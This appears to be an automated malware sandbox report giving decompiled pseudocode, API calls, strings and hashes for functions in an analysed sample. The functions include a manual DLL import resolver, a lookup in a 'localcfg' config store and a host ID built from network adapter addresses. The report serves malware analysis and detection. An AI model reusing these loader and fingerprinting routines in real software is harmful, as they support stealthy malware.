Function 0043C2E9, Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 105COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 0043C350
__aullrem.LIBCMT ref: 0043C520
__aulldiv.LIBCMT ref: 0043C542

Strings

9, xrefs: 0043C553
', xrefs: 0043C2E9

Memory Dump Source

Source File: 0000001A.00000002.436479044.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_415000_85ED.jbxd

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: '$9
API String ID: 3120068967-1823400153
Opcode ID: 044c4e9475caa876993db0b7bf7609c54a9519c81704b3a31cc85cc1f6a62956
Instruction ID: 3dd009aa78294ede15b57134123a52c7360093adde9e1ff51417c4bf697dc8e6
Opcode Fuzzy Hash: 044c4e9475caa876993db0b7bf7609c54a9519c81704b3a31cc85cc1f6a62956
Instruction Fuzzy Hash: 0B4127B1E102299FDB24CF58C991BAEB7B5FF99314F10509AD148BB241C7389E81CF5A

Uniqueness

Uniqueness Score: -1.00%

Function 00406069, Relevance: 7.6, APIs: 5, Instructions: 121
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00406069(_Unknown_base(*)()* _a4) {
				intOrPtr* _v8;
				signed int _v12;
				struct HINSTANCE__* _v16;
				intOrPtr _t47;
				_Unknown_base(*)()* _t48;
				_Unknown_base(*)()* _t50;
				struct HINSTANCE__* _t52;
				_Unknown_base(*)()* _t53;
				_Unknown_base(*)()* _t54;
				_Unknown_base(*)()* _t55;
				signed int _t56;
				_Unknown_base(*)()* _t59;
				_Unknown_base(*)()* _t62;
				_Unknown_base(*)()* _t63;
				intOrPtr _t69;
				_Unknown_base(*)()* _t76;
				_Unknown_base(*)()* _t77;
				intOrPtr* _t82;
				void* _t85;
				intOrPtr* _t87;
				_Unknown_base(*)()* _t89;

				_t82 = _a4;
				_t47 =  *_t82;
				_t3 = _t82 + 4; // 0x65e85621
				_t69 =  *_t3;
				_v12 = 1;
				if( *((intOrPtr*)(_t47 + 0x84)) != 0) {
					_t85 =  *((intOrPtr*)(_t47 + 0x80)) + _t69;
					_t48 = IsBadReadPtr(_t85, 0x14);
					__eflags = _t48;
					if(_t48 != 0) {
						L29:
						return _v12;
					}
					_t87 = _t85 + 0x10;
					_v8 = _t87;
					while(1) {
						_t50 =  *(_t87 - 4);
						__eflags = _t50;
						if(_t50 == 0) {
							goto L29;
						}
						_t52 = LoadLibraryA(_t50 + _t69);
						_v16 = _t52;
						__eflags = _t52 - 0xffffffff;
						if(_t52 == 0xffffffff) {
							L28:
							_t44 =  &_v12;
							 *_t44 = _v12 & 0x00000000;
							__eflags =  *_t44;
							goto L29;
						}
						_t10 = _t82 + 8; // 0x8bfffffa
						_t53 =  *_t10;
						__eflags = _t53;
						if(_t53 != 0) {
							_t14 = _t82 + 0xc; // 0x28408b06
							_t54 = E0040EBED(_t53, 4 +  *_t14 * 4);
						} else {
							_t11 = _t82 + 0xc; // 0x28408b06
							_t54 = E0040EBCC(4 +  *_t11 * 4);
						}
						 *(_t82 + 8) = _t54;
						__eflags = _t54;
						if(_t54 == 0) {
							goto L28;
						} else {
							_t18 = _t82 + 0xc; // 0x28408b06
							 *((intOrPtr*)(_t54 +  *_t18 * 4)) = _v16;
							 *(_t82 + 0xc) =  *(_t82 + 0xc) + 1;
							_t55 =  *(_t87 - 0x10);
							__eflags = _t55;
							if(_t55 == 0) {
								_t89 =  *_t87 + _t69;
								__eflags = _t89;
								_t76 = _t89;
							} else {
								_t89 = _t55 + _t69;
								_t76 =  *_v8 + _t69;
							}
							_t56 =  *_t89;
							__eflags = _t56;
							if(_t56 == 0) {
								L25:
								__eflags = _v12;
								if(_v12 == 0) {
									goto L29;
								}
								_v8 = _v8 + 0x14;
								_t59 = IsBadReadPtr(_v8 + 0xfffffff0, 0x14);
								__eflags = _t59;
								if(_t59 == 0) {
									_t87 = _v8;
									continue;
								}
								goto L29;
							} else {
								_a4 = _t76;
								_a4 = _a4 - _t89;
								__eflags = _t56;
								do {
									if(__eflags >= 0) {
										_t62 = GetProcAddress(_v16, _t56 + _t69 + 2);
										__eflags = _t62;
										if(_t62 == 0) {
											L21:
											_t63 = _a4;
											__eflags =  *(_t63 + _t89);
											if( *(_t63 + _t89) == 0) {
												_t38 =  &_v12;
												 *_t38 = _v12 & 0x00000000;
												__eflags =  *_t38;
												goto L25;
											}
											goto L22;
										}
										_t77 = _a4;
										__eflags = _t62 -  *(_t77 + _t89);
										if(_t62 ==  *(_t77 + _t89)) {
											goto L21;
										}
										L20:
										 *(_t77 + _t89) = _t62;
										goto L21;
									}
									_t62 = GetProcAddress(_v16, _t56 & 0x0000ffff);
									_t77 = _a4;
									goto L20;
									L22:
									_t89 = _t89 + 4;
									_t56 =  *_t89;
									__eflags = _t56;
								} while (__eflags != 0);
								goto L25;
							}
						}
					}
					goto L29;
				}
				return 1;
			}

0x00406071
0x00406074
0x0040607c
0x0040607c
0x00406082
0x00406087
0x00406099
0x0040609c
0x004060a2
0x004060a4
0x004061b2
0x00000000
0x004061b5
0x004060aa
0x004060ad
0x004060b5
0x004060b5
0x004060b8
0x004060ba
0x00000000
0x00000000
0x004060c3
0x004060c9
0x004060cc
0x004060cf
0x004061ae
0x004061ae
0x004061ae
0x004061ae
0x00000000
0x004061ae
0x004060d5
0x004060d5
0x004060d8
0x004060da
0x004060ee
0x004060fa
0x004060dc
0x004060dc
0x004060e7
0x004060e7
0x00406101
0x00406104
0x00406106
0x00000000
0x0040610c
0x0040610c
0x00406112
0x00406115
0x00406118
0x0040611b
0x0040611d
0x0040612d
0x0040612d
0x0040612f
0x0040611f
0x0040611f
0x00406127
0x00406127
0x00406131
0x00406133
0x00406135
0x0040618b
0x0040618b
0x0040618f
0x00000000
0x00000000
0x00406191
0x0040619e
0x004061a4
0x004061a6
0x004060b2
0x00000000
0x004060b2
0x00000000
0x00406137
0x00406137
0x0040613a
0x0040613d
0x0040613f
0x0040613f
0x0040615e
0x00406164
0x00406166
0x00406173
0x00406173
0x00406176
0x0040617a
0x00406187
0x00406187
0x00406187
0x00000000
0x00406187
0x00000000
0x0040617a
0x00406168
0x0040616b
0x0040616e
0x00000000
0x00000000
0x00406170
0x00406170
0x00000000
0x00406170
0x0040614a
0x00406150
0x00000000
0x0040617c
0x0040617c
0x0040617f
0x00406181
0x00406181
0x00000000
0x00406185
0x00406135
0x00406106
0x00000000
0x004060b5
0x00000000

APIs

IsBadReadPtr.KERNEL32(?,00000014,00000000,?,00000000,?,004064CF,00000000), ref: 0040609C
LoadLibraryA.KERNEL32(?,?,004064CF,00000000), ref: 004060C3
GetProcAddress.KERNEL32(?,00000014), ref: 0040614A
IsBadReadPtr.KERNEL32(-000000DC,00000014), ref: 0040619E

Memory Dump Source

Source File: 0000001A.00000002.436435976.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001A.00000002.436466350.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_400000_85ED.jbxd

Yara matches

Similarity

API ID: Read$AddressLibraryLoadProc
String ID:
API String ID: 2438460464-0
Opcode ID: beeb212f6d5b41c5424ed959fb710d65fbebcae36a96b2ee910fcd89165a7e78
Instruction ID: 2c66ad34c3d6fb1da92a891872b73c8746f5f3d5bf62d79dfacd6c24df0475f4
Opcode Fuzzy Hash: beeb212f6d5b41c5424ed959fb710d65fbebcae36a96b2ee910fcd89165a7e78
Instruction Fuzzy Hash: D5418C71A00105AFDB10CF58C884BAAB7B9EF14354F26807AE816EB3D1D738ED61CB84

Uniqueness

Uniqueness Score: -1.00%

Function 0040E654, Relevance: 7.6, APIs: 3, Strings: 2, Instructions: 96
stringCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040E654(intOrPtr _a4, intOrPtr _a8, CHAR* _a12) {
				intOrPtr _t30;
				CHAR* _t31;
				int _t34;
				intOrPtr* _t41;
				intOrPtr* _t42;
				void* _t47;
				intOrPtr _t51;
				int _t52;
				void* _t53;
				intOrPtr _t54;
				void* _t55;
				char _t59;

				E0040DD05();
				_t41 = 0x4120e8;
				_t55 =  *0x4120e8 - 0x4120e8; // 0x4120e8
				if(_t55 == 0) {
					L9:
					_t53 = E0040EBCC(0x1c);
					if(_t53 != 0) {
						 *((intOrPtr*)(_t53 + 0x18)) = _a4;
						 *((intOrPtr*)(_t53 + 4)) = _a8;
						E00403E8F(0x4120e8, _t53);
						__eflags = _a12;
						if(_a12 == 0) {
							 *(_t53 + 8) = 0;
						} else {
							_t15 = _t53 + 8; // 0x8
							lstrcpynA(_t15, _a12, 0xf);
							 *((char*)(_t53 + 0x17)) = 0;
						}
						L15:
						_t42 = 0x4120e4;
						__eflags =  *0x4120e4 - _t42; // 0x4120e4
						if(__eflags == 0) {
							L22:
							_t47 = 1;
							L11:
							E0040DD69();
							return _t47;
						} else {
							goto L16;
						}
						do {
							L16:
							_t30 =  *((intOrPtr*)(_t53 + 4));
							_t51 =  *_t42;
							__eflags = _t30 - 0xffffffff;
							if(_t30 == 0xffffffff) {
								L18:
								_t20 = _t53 + 8; // 0x8
								_t31 = _t20;
								__eflags =  *_t31;
								if( *_t31 == 0) {
									L20:
									_t52 = _t51 + 0xc;
									__eflags = _t52;
									 *((intOrPtr*)(_t53 + 0x18))(_t52, 1);
									goto L21;
								}
								_t34 = lstrcmpA(_t51 + 0x10, _t31);
								__eflags = _t34;
								if(_t34 != 0) {
									goto L21;
								}
								goto L20;
							}
							__eflags =  *(_t51 + 0xc) - _t30;
							if( *(_t51 + 0xc) != _t30) {
								goto L21;
							}
							goto L18;
							L21:
							_t42 =  *_t42;
							__eflags =  *_t42 - 0x4120e4;
						} while ( *_t42 != 0x4120e4);
						goto L22;
					}
					_t47 = 0;
					goto L11;
				} else {
					goto L1;
				}
				do {
					L1:
					_t54 =  *_t41;
					if( *((intOrPtr*)(_t54 + 0x18)) == _a4 &&  *((intOrPtr*)(_t54 + 4)) == _a8) {
						if(_a12 != 0) {
							_t8 = _t54 + 8; // 0x74e043e8
							__eflags = lstrcmpA(_t8, _a12);
						} else {
							_t59 =  *(_t54 + 8);
						}
						if(_t59 == 0) {
							break;
						} else {
							goto L7;
						}
					}
					L7:
					_t41 =  *_t41;
					_t53 = 0;
				} while ( *_t41 != 0x4120e8);
				if(_t53 != 0) {
					goto L15;
				}
				goto L9;
			}

0x0040e65a
0x0040e664
0x0040e666
0x0040e66c
0x0040e6a9
0x0040e6b0
0x0040e6b5
0x0040e6c8
0x0040e6d0
0x0040e6d3
0x0040e6d8
0x0040e6de
0x0040e6f5
0x0040e6e0
0x0040e6e5
0x0040e6e9
0x0040e6ef
0x0040e6ef
0x0040e6f9
0x0040e6f9
0x0040e6fe
0x0040e704
0x0040e741
0x0040e743
0x0040e6b9
0x0040e6b9
0x0040e6c4
0x00000000
0x00000000
0x00000000
0x0040e706
0x0040e706
0x0040e706
0x0040e709
0x0040e70b
0x0040e70e
0x0040e715
0x0040e715
0x0040e715
0x0040e718
0x0040e71b
0x0040e72c
0x0040e72c
0x0040e72c
0x0040e732
0x00000000
0x0040e736
0x0040e722
0x0040e728
0x0040e72a
0x00000000
0x00000000
0x00000000
0x0040e72a
0x0040e710
0x0040e713
0x00000000
0x00000000
0x00000000
0x0040e737
0x0040e737
0x0040e739
0x0040e739
0x00000000
0x0040e706
0x0040e6b7
0x00000000
0x00000000
0x00000000
0x00000000
0x0040e66e
0x0040e66e
0x0040e66e
0x0040e676
0x0040e684
0x0040e68f
0x0040e699
0x0040e686
0x0040e686
0x0040e686
0x0040e69b
0x00000000
0x00000000
0x00000000
0x00000000
0x0040e69b
0x0040e69d
0x0040e69d
0x0040e69f
0x0040e6a1
0x0040e6a7
0x00000000
0x00000000
0x00000000

APIs

Part of subcall function 0040DD05: GetTickCount.KERNEL32 ref: 0040DD0F
Part of subcall function 0040DD05: InterlockedExchange.KERNEL32(004136B4,00000001), ref: 0040DD44
Part of subcall function 0040DD05: GetCurrentThreadId.KERNEL32 ref: 0040DD53

lstrcmpA.KERNEL32(74E043E8,00000000,?,74E043E0,00000000,?,00405EC1), ref: 0040E693
lstrcpynA.KERNEL32(00000008,00000000,0000000F,?,74E043E0,00000000,?,00405EC1), ref: 0040E6E9
lstrcmpA.KERNEL32(?,00000008,?,74E043E0,00000000,?,00405EC1), ref: 0040E722

Strings

A, xrefs: 0040E65F, 0040E666, 0040E6CF, 0040E731
A, xrefs: 0040E6F9, 0040E6FE, 0040E739

Memory Dump Source

Source File: 0000001A.00000002.436435976.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001A.00000002.436466350.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_400000_85ED.jbxd

Yara matches

Similarity

API ID: lstrcmp$CountCurrentExchangeInterlockedThreadTicklstrcpyn
String ID: A$ A
API String ID: 3343386518-686259309
Opcode ID: 951ece8c2afd944643beef7ac70d50e077dd33d1a65e809f7a70b3905a3fc363
Instruction ID: 47b803fc1c440cad9c550ff35358ad860d5bc2ca4051ff98ce99c32b6473ed9c
Opcode Fuzzy Hash: 951ece8c2afd944643beef7ac70d50e077dd33d1a65e809f7a70b3905a3fc363
Instruction Fuzzy Hash: CC31C031600301DBCB318F66E8847977BE4AB24314F508D3BE555A7690D779E8A0CB89

Uniqueness

Uniqueness Score: -1.00%

Function 0040F26D, Relevance: 7.6, APIs: 5, Instructions: 63COMMON

Download Yara Rule

APIs

setsockopt.WS2_32(00000000,0000FFFF,00000004,00000000,00000004), ref: 0040F2A0
setsockopt.WS2_32(00000004,0000FFFF,00001005,00000004,00000004), ref: 0040F2C0
setsockopt.WS2_32(00000004,0000FFFF,00001006,00000004,00000004), ref: 0040F2DD
setsockopt.WS2_32(?,00000006,00000001,?,00000004), ref: 0040F2EC
setsockopt.WS2_32(?,0000FFFF,00000080,?,00000004), ref: 0040F2FD

Memory Dump Source

Source File: 0000001A.00000002.436435976.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001A.00000002.436466350.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_400000_85ED.jbxd

Yara matches

Similarity

API ID: setsockopt
String ID:
API String ID: 3981526788-0
Opcode ID: 8b4be0266ee07c3102769aa2bfb0f3fbe40b153d7f42fbd5c93fb3948aedae23
Instruction ID: 54276ff97121d9260d4f5268cf3942b14174050ddbce03adff589c8218e6c2bb
Opcode Fuzzy Hash: 8b4be0266ee07c3102769aa2bfb0f3fbe40b153d7f42fbd5c93fb3948aedae23
Instruction Fuzzy Hash: 6B110AB2A40248BAEF11DF94CD85FDE7FBCEB44751F008066BB04EA1D0E6B19A44CB94

Uniqueness

Uniqueness Score: -1.00%

Function 00402419, Relevance: 7.5, APIs: 4, Strings: 1, Instructions: 45
stringCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00402419(void* __ecx, CHAR* _a4, intOrPtr _a8, CHAR* _a12) {
				int _v8;
				int _t18;
				intOrPtr _t20;
				CHAR* _t21;
				int _t30;
				CHAR* _t36;

				_t18 = lstrlenA(_a12);
				_t36 = _a4;
				_v8 = _t18;
				_t20 = _a8 + _t36;
				_a8 = _t20;
				if(_t36 >= _t20) {
					L5:
					_t21 = 0;
				} else {
					while(1) {
						_t30 = lstrlenA(_t36);
						_t7 =  &(_t36[1]); // 0x1
						_a4 = _t30 + _t7;
						if(_v8 == _t30 && lstrcmpiA(_t36, _a12) == 0 && _a4 < _a8) {
							break;
						}
						_t36 =  &(_t36[lstrlenA(_a4) + _t30 + 2]);
						if(_t36 < _a8) {
							continue;
						} else {
							goto L5;
						}
						goto L6;
					}
					_t21 = _a4;
				}
				L6:
				return _t21;
			}

0x00402429
0x0040242b
0x0040242e
0x00402434
0x00402436
0x0040243b
0x00402474
0x00402474
0x0040243d
0x0040243d
0x00402440
0x00402442
0x00402446
0x0040244c
0x00000000
0x00000000
0x0040246b
0x00402472
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00402472
0x0040247b
0x0040247b
0x00402476
0x0040247a

APIs

lstrlenA.KERNEL32(?,localcfg,?,00000000,?,?,00402491,?,?,?,0040E844,-00000030,?,?,?,00000001), ref: 00402429
lstrlenA.KERNEL32(?,?,00402491,?,?,?,0040E844,-00000030,?,?,?,00000001,00401E3D,00000001,localcfg,lid_file_upd), ref: 0040243E
lstrcmpiA.KERNEL32(?,?,?,00402491,?,?,?,0040E844,-00000030,?,?,?,00000001,00401E3D,00000001,localcfg), ref: 00402452
lstrlenA.KERNEL32(?,?,00402491,?,?,?,0040E844,-00000030,?,?,?,00000001,00401E3D,00000001,localcfg,lid_file_upd), ref: 00402467

Strings

localcfg, xrefs: 0040241F

Memory Dump Source

Source File: 0000001A.00000002.436435976.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001A.00000002.436466350.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_400000_85ED.jbxd

Yara matches

Similarity

API ID: lstrlen$lstrcmpi
String ID: localcfg
API String ID: 1808961391-1857712256
Opcode ID: e0652b8e6b882c26303073c97bc729d70adad1496f82cefeb83b9b40d862f6ea
Instruction ID: 10b525c6ae3f8891cd48fd25e34f392daf9ed257baad57177c8ccf48abf1fcea
Opcode Fuzzy Hash: e0652b8e6b882c26303073c97bc729d70adad1496f82cefeb83b9b40d862f6ea
Instruction Fuzzy Hash: B4011A31600218EFCF11EF69DD888DE7BA9EF44354B01C436E859A7250E3B4EA408A98

Uniqueness

Uniqueness Score: -1.00%

Function 00437724, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 115COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00437783
_memset.LIBCMT ref: 0043780C
__invalid_parameter.LIBCMTD ref: 0043786B

Strings

P, xrefs: 00437880

Memory Dump Source

Source File: 0000001A.00000002.436479044.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_415000_85ED.jbxd

Similarity

API ID: _memset$__invalid_parameter
String ID: P
API String ID: 2178901135-3110715001
Opcode ID: 71a19e293a7895fc4d81b734992a88cc83c6bf3592622c3dfaa8b26bb6ca6484
Instruction ID: fbe3340c902cb5e6de46ad3356c4c4f6e8fceb558e3018a3bbbe2b986b488385
Opcode Fuzzy Hash: 71a19e293a7895fc4d81b734992a88cc83c6bf3592622c3dfaa8b26bb6ca6484
Instruction Fuzzy Hash: 8A41ACB0D04349EBCB28DF58C849BAE7760FB48314F24966AE8B41A3D0D3799950CF59

Uniqueness

Uniqueness Score: -1.00%

Function 0043C2D6, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 107COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 0043C350
__aullrem.LIBCMT ref: 0043C520
__aulldiv.LIBCMT ref: 0043C542

Strings

9, xrefs: 0043C553

Memory Dump Source

Source File: 0000001A.00000002.436479044.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_415000_85ED.jbxd

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: 9
API String ID: 3120068967-2366072709
Opcode ID: a45bf9ffedb1c13bae317dfab0017e0f9bc5b40c5b13e368e178c00019d18cb5
Instruction ID: 3224aa1b65330c0584d1b71fe301567e73275c94c3ecc61c1491e2e98bfa0a26
Opcode Fuzzy Hash: a45bf9ffedb1c13bae317dfab0017e0f9bc5b40c5b13e368e178c00019d18cb5
Instruction Fuzzy Hash: 984126B1E102299FDB24CF58C891BAEB7B4FF99314F10509AD148BB241C7389E81CF5A

Uniqueness

Uniqueness Score: -1.00%

Function 0043C324, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 100COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 0043C350
__aullrem.LIBCMT ref: 0043C520
__aulldiv.LIBCMT ref: 0043C542

Strings

9, xrefs: 0043C553

Memory Dump Source

Source File: 0000001A.00000002.436479044.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_415000_85ED.jbxd

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: 9
API String ID: 3120068967-2366072709
Opcode ID: de0a5f24cca493b2017ce3d500814e98e9cc6ceb68a5fbf6a4b70a94b471b794
Instruction ID: 4dc7265ebec069d44972ef7bfe8cb6439a25348bba5b5a9b8564feb1eaf2d26b
Opcode Fuzzy Hash: de0a5f24cca493b2017ce3d500814e98e9cc6ceb68a5fbf6a4b70a94b471b794
Instruction Fuzzy Hash: 414126B1E102299FEB24CF48C991BAEB7B5FB99314F0051AAD148B7241C7389E80CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00427C9D, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 100COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 00427CC9
__aullrem.LIBCMT ref: 00427E96
__aulldiv.LIBCMT ref: 00427EB8

Strings

9, xrefs: 00427EC9

Memory Dump Source

Source File: 0000001A.00000002.436479044.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_415000_85ED.jbxd

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: 9
API String ID: 3120068967-2366072709
Opcode ID: 16cc12f056c7e8e5a16d88d8436e1501bcfe4573fab86ef5ecc59b388832d3e0
Instruction ID: 3c8bea816d0e60e753c59b0cdce06a96ef41c4ee16d2f0f449df80cb5fc5d75c
Opcode Fuzzy Hash: 16cc12f056c7e8e5a16d88d8436e1501bcfe4573fab86ef5ecc59b388832d3e0
Instruction Fuzzy Hash: 44411471E18629DFDB64CF48D889BAEB7B5BF84300F5085DAD009A7244CB389E80CF54

Uniqueness

Uniqueness Score: -1.00%

Function 00434F0C, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 100COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 00434F38
__aullrem.LIBCMT ref: 00435105
__aulldiv.LIBCMT ref: 00435127

Strings

9, xrefs: 00435138

Memory Dump Source

Source File: 0000001A.00000002.436479044.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_415000_85ED.jbxd

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: 9
API String ID: 3120068967-2366072709
Opcode ID: 8e479b186c38faee6beb2dcedf8807de491c87e4a157677048558e769635c527
Instruction ID: 33ab3ed14a4daca301c93b2f0c87bfba6d5ca109b513ebc324cf34abee9c66ae
Opcode Fuzzy Hash: 8e479b186c38faee6beb2dcedf8807de491c87e4a157677048558e769635c527
Instruction Fuzzy Hash: 7041E871D05629DFEB28CF58CC99BAEB7B5FB48300F24959AD009A7240D7395E84CF84

Uniqueness

Uniqueness Score: -1.00%

Function 0043C2CD, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 95COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 0043C350
_get_int64_arg.LIBCMTD ref: 0043C378
__aullrem.LIBCMT ref: 0043C520
__aulldiv.LIBCMT ref: 0043C542

Strings

9, xrefs: 0043C553

Memory Dump Source

Source File: 0000001A.00000002.436479044.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_415000_85ED.jbxd

Similarity

API ID: _get_int64_arg$__aulldiv__aullrem
String ID: 9
API String ID: 2124759748-2366072709
Opcode ID: 5ae99c7e6c91eb87a82d43dd8e251c21e6227c974607261ca5a358c9ee9441eb
Instruction ID: 8cfe1c05b82bb96c2c0a5d388af37502f8599cac70b5679eb2c59d243aa0186f
Opcode Fuzzy Hash: 5ae99c7e6c91eb87a82d43dd8e251c21e6227c974607261ca5a358c9ee9441eb
Instruction Fuzzy Hash: 474106B1A102299FDB24CF58C991BAEB7B5FB99314F1051DAE148B7201C7389E81CF5A

Uniqueness

Uniqueness Score: -1.00%

Function 00427C4C, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 95COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 00427CC9
_get_int64_arg.LIBCMTD ref: 00427CF1
__aullrem.LIBCMT ref: 00427E96
__aulldiv.LIBCMT ref: 00427EB8

Strings

9, xrefs: 00427EC9

Memory Dump Source

Source File: 0000001A.00000002.436479044.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_415000_85ED.jbxd

Similarity

API ID: _get_int64_arg$__aulldiv__aullrem
String ID: 9
API String ID: 2124759748-2366072709
Opcode ID: cd2cfd6f4318f5a0225f11cb0a853ca8bb39c7e2334494b0ad3806e4e6a6f94f
Instruction ID: 38297c45618f13924bd160918c2fb6a79ad6785cc048382b8d2c198eec340573
Opcode Fuzzy Hash: cd2cfd6f4318f5a0225f11cb0a853ca8bb39c7e2334494b0ad3806e4e6a6f94f
Instruction Fuzzy Hash: 21411571E18629DFDB64DF58E989BAEB7B5BF84300F5081DAE009A7204C7389E80CF55

Uniqueness

Uniqueness Score: -1.00%

Function 00434EBB, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 95COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 00434F38
_get_int64_arg.LIBCMTD ref: 00434F60
__aullrem.LIBCMT ref: 00435105
__aulldiv.LIBCMT ref: 00435127

Strings

9, xrefs: 00435138

Memory Dump Source

Source File: 0000001A.00000002.436479044.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_415000_85ED.jbxd

Similarity

API ID: _get_int64_arg$__aulldiv__aullrem
String ID: 9
API String ID: 2124759748-2366072709
Opcode ID: 35c5ed9300f9a9ae0c6ed213cfaabc736f0124c5564c08ec0c66987881e35f01
Instruction ID: d842274c1b2f5b4a381fb4228553b35cd177a2e0d67eb459c8e03561fbff7884
Opcode Fuzzy Hash: 35c5ed9300f9a9ae0c6ed213cfaabc736f0124c5564c08ec0c66987881e35f01
Instruction Fuzzy Hash: 0A41D6B1D05628DFEB24CF58C899BAEB7B5FB48304F2495DAD009A7240D7399E80CF85

Uniqueness

Uniqueness Score: -1.00%

Function 00401AC3, Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 74
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 64%

			E00401AC3() {
				signed int _v8;
				char _v12;
				signed int _v16;
				struct HINSTANCE__* _t19;
				intOrPtr _t24;
				intOrPtr _t26;
				intOrPtr* _t28;
				signed int _t39;
				void* _t41;
				intOrPtr _t43;

				_v16 = 0;
				_t19 = LoadLibraryA("Iphlpapi.dll");
				if(_t19 == 0) {
					L15:
					return _v16;
				}
				_t28 = GetProcAddress(_t19, "GetAdaptersAddresses");
				if(_t28 == 0) {
					L14:
					goto L15;
				}
				_push( &_v12);
				_v8 = 0;
				_v12 = 0;
				_push(0);
				while(1) {
					_t41 =  *_t28(2, 0, 0);
					if(_t41 != 0x6f) {
						break;
					}
					_t24 = E0040EBED(_v8, _v12);
					if(_t24 == 0) {
						break;
					}
					_push( &_v12);
					_v8 = _t24;
					_push(_t24);
				}
				if(_t41 != 0) {
					L11:
					if(_v8 != 0) {
						E0040EC2E(_v8);
					}
					L13:
					goto L14;
				}
				_t26 = _v8;
				if(_t26 == 0) {
					goto L13;
				} else {
					goto L8;
				}
				do {
					L8:
					_t43 =  *((intOrPtr*)(_t26 + 0x34));
					_t39 = 0;
					if(_t43 <= 0) {
						goto L10;
					} else {
						goto L9;
					}
					do {
						L9:
						_v16 = _v16 ^ ( *(_t26 + _t39 + 0x2c) & 0x000000ff) << (_t39 & 0x00000003) << 0x00000003;
						_t39 = _t39 + 1;
					} while (_t39 < _t43);
					L10:
					_t26 =  *((intOrPtr*)(_t26 + 8));
				} while (_t26 != 0);
				goto L11;
			}

0x00401ad1
0x00401ad4
0x00401adc
0x00401b6b
0x00401b70
0x00401b70
0x00401aef
0x00401af3
0x00401b6a
0x00000000
0x00401b6a
0x00401af9
0x00401afa
0x00401afd
0x00401b00
0x00401b1c
0x00401b22
0x00401b27
0x00000000
0x00000000
0x00401b09
0x00401b12
0x00000000
0x00000000
0x00401b17
0x00401b18
0x00401b1b
0x00401b1b
0x00401b2b
0x00401b5b
0x00401b5e
0x00401b63
0x00401b68
0x00401b69
0x00000000
0x00401b69
0x00401b2d
0x00401b32
0x00000000
0x00000000
0x00000000
0x00000000
0x00401b34
0x00401b34
0x00401b34
0x00401b37
0x00401b3b
0x00000000
0x00000000
0x00000000
0x00000000
0x00401b3d
0x00401b3d
0x00401b4c
0x00401b4f
0x00401b50
0x00401b54
0x00401b54
0x00401b57
0x00000000

APIs

LoadLibraryA.KERNEL32(Iphlpapi.dll,00000000,localcfg,?,hi_id,?,?,?,?,00000001), ref: 00401AD4
GetProcAddress.KERNEL32(00000000,GetAdaptersAddresses), ref: 00401AE9

Strings

GetAdaptersAddresses, xrefs: 00401AE3
Iphlpapi.dll, xrefs: 00401ACC

Memory Dump Source

Source File: 0000001A.00000002.436435976.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001A.00000002.436466350.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

